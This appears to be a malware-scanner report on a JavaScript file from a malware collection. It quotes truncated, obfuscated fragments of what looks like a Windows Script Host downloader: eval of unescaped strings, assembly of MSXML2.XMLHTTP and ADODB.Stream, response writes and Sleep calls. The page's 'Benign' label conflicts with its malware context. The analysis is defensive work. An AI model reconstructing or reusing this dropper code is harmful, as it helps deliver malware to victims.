Benign javascript-malware-collection Download

20160328_c1f9407a7b4401edc3d0d0d9006da870.js

Obfuscated ResponseBody write fragment clustereval() executing transformed code

SHA-256281cc4227c82f527dcca321bb83cd8020fcfe87eecb8d76218531c81674ece39

Evidence

Dense concatenated string fragments line 1

1eval(last("var%20removeEventListener%20%3D%20%28%22%25TE%22%29%2C%20udataOld%20%3D%20%2841%29%3Boptall%20%3D%20%28%22LHT%22%29%3Bfind%20%3D%20%28%22str%22%29%3Bvar%20idx%20%3D%20%28%22Mic%22%29%2C%20bubbleType%20%3D%20%28%22sup%22%29%2C%20hasData%20%3D%20%284%29%2C%20expando%20%3D%20%28%22ipt%22%29%3BajaxSettings%20%3D%20%28%22LHTTP%22%29%2C%20e%20%3D%20%28%22ntSt%22%29%2C%20setter%20%3D%20%28%22es.%22%29%3Bvar%20querySelectorAll%20%3D%20%28%22r%22%29%3BhtmlPrefilter%20%3D%20%28%22typ%22%29%3B%20push_native%20%3D%20%28%22eam%22%29%3B%20old%20%3D%20%28%22Obj%22%29%3B%20cssPrefixes%20%3D%20%28%22ies.ne% …

Invokes zero-argument function at module scope lines 1–7

1:3351… ct%20%3D%20%28%22d%22%29%3BfadeIn%20%3D%20%28%22length%22%29%3B%3B"));
2rbrace = m = disableScript = rnoContent = abort.calculatePosition();
3colgroup(currentValue, rts, isEmptyObject, newCache, code);
4expanded();
5opt(code, newCache, rattributeQuotes);
6pixelPositionVal(tbody, p, fnOver, bubbleType, th);
7adjusted(mapped, hasData, doAnimatio …

JavaScript silently discards caught errors lines 15–20

9… 				excess(defer, addBack, protocol, classes, tag);
										inArray[mapped + "en" + ct]();
										break;
						} catch(html) {}
		}
		while(inArray["read" + rattributeQuotes] != ((1 * hasData) & (Math.pow(5, resolveContexts) - 18))) m["WSc" + flatOpti …

Dense computed-property call cluster (3+) lines 21–24

70… xts) - 5396) * (resolveContexts | 2) + (returnTrue))) {
						rcssNum[isArray + "e" + pop]();
						rcssNum["Write"](inArray[p + "onse" + fnOver]);
						rbrace["WScrip" + hold]["Slee" + origName](((Math.pow(12, resolveContexts) - 130), (Math.pow(rmsPrefix, 2) - doAnimation), (Math.pow(113, resolveContexts) - 12545), (curr …

Calls JavaScript unescape lines 48–60

48:149… lk%29%29%29%3B"));
49}
50
51function last(buildFragment) {
52				return unescape(buildFragment);
53}
54
55function pixelPositionVal(originalProperties, originalOptions) {
56				tbody(last("rcssNum%20%3D%20m%5B%22WSc%22%20+%20token%20+%20%22t%22%5D%5Berr%20+%20%22ateO%22%20+%20uniqueCache%20+%20%22ct%22%5D%28raw%20+%20%22B.Str%22%20+%20push_native%29%3B"));
57}
58
59function opt(l, obj, slideUp) {
60				tbody(last("rquickExpr%20%3D%20%5B%22Msxml%22%20+%20response%20+%20%22erX%22%20+%20opts%20+%20%22TTP.%22%20+%20Expr%2C%20%22Msxm%22%20+%20protocol%20+%20%22MLH%22%20+%20matchesSelector%20+ …